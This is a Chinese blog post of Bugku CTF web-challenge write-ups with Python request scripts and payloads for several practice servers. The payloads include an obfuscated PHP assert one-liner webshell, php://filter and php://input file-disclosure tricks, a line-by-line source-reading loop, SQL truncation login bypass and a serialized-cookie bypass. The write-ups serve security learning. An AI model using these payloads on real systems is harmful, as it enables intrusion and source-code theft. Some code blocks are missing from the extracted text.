bugku web篇

速度要快

100

速度要快!!!!!!

http://120.24.86.145:8002/web6/

格式KEY{xxxxxxxxxxxxxx}

查看源代码:


我感觉你得快点!!!

注释是没头没尾的一句话,用bp抓包,发现响应头里有flag:6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTWpjM09EY3k=

用base64解码得

跑的还不错,给你flag吧: Mjc3ODcy

再用base64解码得

277872

然后用hackbar用post方法在参数对最后增加margin=277872,却被告知还不够快,思路已经理清了,剩下的就是要快,那就只能用脚本了

import base64
import requests
url="http://120.24.86.145:8002/web6/"
s=requests.Session()
flag=s.get(url).headers['flag']
flag=base64.b64decode(flag)
flag=str(flag)
flag=flag.split(': ')[1]
flag=base64.b64decode(flag)
data={'margin':flag}
reps=s.post(url,data=data)
print(reps.content.decode('utf-8'))

 

cookies欺骗

100

http://120.24.86.145:8002/web11/

答案格式:KEY{xxxxxxxx}

打开url发现是一串字符串,尝试base64解码,md5解码都无果。

观察到url地址:http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

对a2V5cy50eHQ=base64解码,得到keys.txt,知道filename的值应该是个文件名,line可能是行数。将index.php进行base64编码作为filename的值并让line=1,即http://120.24.86.145:8002/web11/index.php?line=1&filename=aW5kZXgucGhw,可以观察到返回的结果发生了改变,通过改动line的值,返回的结果也会发生改变,返回的应该是index.php的文件内容,写个脚本返回index.php的全部文件内容

import requests
a=30
for i in range(a):
    url = "http://120.24.86.145:8002/web11/index.php?filename=aW5kZXgucGhw&line=" + str(i)
    reps=requests.get(url)
    print(reps.text)
'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php

bugku web篇_第1张图片

返回的结果是一片空白,查看源码得flag

 

never give up

100

http://120.24.86.145:8006/test/hello.php

作者:御结冰城

打开url,查看源代码发现

那就访问1p.html,然后就被重定向到bugku的主页,用bp抓包没发现有重定向请求,那就直接

view-source:http://120.24.86.145:8006/test/1p.html,查看1p.html的源代码,得到







有url编码和base64编码,分别解码后得到

var Words =" 
" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。

file_get_contents 将整个文件读入一个字符串

strlen() 函数返回字符串的长度

substr() 函数返回字符串的一部分。 substr(string,start,length) ,length参数可选。如  substr($b,0,1)  就是在参数b里面 ,从0开始返回1个长度的字符串

eregi("111".substr($b,0,1),"1114")    就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的

 

总的来说,如果a参数传入文件内有 "bugku is a nice plateform!"字符串,并且id参数为0 , b参数长度大于5,"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的,substr($b,0,1)不能等于4   以上这些条件都满足,就请求 f4l2a3g.txt

:)这么麻烦,那就先试试能不能直接访问 f4l2a3g.txt 吧

可以直接访问,得到flag

这是为不支持js的浏览器准备的格式,

不支持js的浏览器会把js代码当作html注释,不会出现js源码显示出来的情况。

支持js的浏览器,因为并不是js的注释,也不会影响js的正常执行。

 

过狗一句话

100

http://120.24.86.145:8010/

送给大家一个过狗一句话

$poc="a#s#s#e#r#t";

$poc_1=explode("#",$poc);

$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];

$poc_2($_GET['s'])

?>

 

用assert执行任意代码 
这就很自由了 
payload:http://120.24.86.145:8010/?s=print_r(scandir('./')); 扫描目录

 

访问   http://120.24.86.145:8010/f94lag.txt

字符?正则?

100

字符?正则?

http://120.24.86.145:8002/web10/

这道题get参数id的值符合正则就行了

http://120.24.86.145:8002/web10/?id=keykey1111key:/1/keya‘

注意:[[:punct:]] 匹配任何标点符号

 

login1(SKCTF)

100

http://123.206.31.85:49163/
flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL约束攻击

基于约束的SQL攻击

注册      账号:admin                                         1

             密码:1

登录账号:admin

        密码:1

得到flag.

 

各种绕过

110

各种绕过哟

http://120.24.86.145:8002/web7/

bugku web篇_第2张图片

web8

110

txt????

http://120.24.86.145:8002/web8/

就是用一下php://input

php://input

php://input 是个可以访问请求的原始数据的只读流。
 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA
,因为它不依赖于特定的 php.ini 指令。 而且,
这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 
比激活 always_populate_raw_post_data 潜在需要更少的内存

假设get请求中a=php://input,那么$_GET["a"]的值就是请求中post的数据,关键是

$a = $_GET["a"]之后,$a可以被文件读取函数file_get_contents读取。

bugku web篇_第3张图片

细心

130

地址:http://120.24.86.145:8002/web13/

想办法变成admin

 

源代码和bp都没什么结果,用御剑扫了一下,发现http://120.24.86.145:8002/web13/robots.txt

访问得到http://120.24.86.145:8002/web13/resusl.php

bugku web篇_第4张图片

 然后尝试各种方法未果,看了其他博文得知是结合提示:想办法变成admin以及此页面仅有的的一行php代码:if($_GET[x]==$password),访问http://120.24.86.145:8002/web13/resusl.php?x=admin,即可

 

flag.php

200

地址:http://120.24.86.145:8002/flagphp/

点了login咋没反应

提示:hint

多方尝试无果,根据提示;hint,最后发现只要get一个hint就可以得到源代码,

 



Login




要传一个cookie名为ISecer 的反序列的值。并且反序列后的值要全相等于”$KEY”
这里要注意是有双引号,而且$KEY的赋值的此之后的。所以反序列的值不是’ISecer:www.isecer.com’。
我们要得到的值$KEY,是所以序列化该值即可,


s:0:"";

所以用hackbar提交cookie为ISecer=s:0:"";,即可

 

Trim的日记本

200

http://120.24.86.145:9002/

hints:不要一次就放弃

 

不知道是考什么,直接御剑扫描,得show.php,访问就得flag

 

文件上传2(湖湘杯)

200

http://120.24.86.145:9011/

一开始真的以为是文件上传,后来发现是出题人的恶趣味,扫描发现flag.php,用php://filter得到源码。

http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag

 

web基础$_POST

30

http://120.24.86.145:8002/post

post what=flag即可

 

flag在index.php里

通过php://filter获得源码

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

base64解码后源码如下


    Bugku-ctf
    
click me? no';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>

能通过这种方式获得源码的关键应该是include($file)这一句代码

你可能感兴趣的:(BugkuCTF)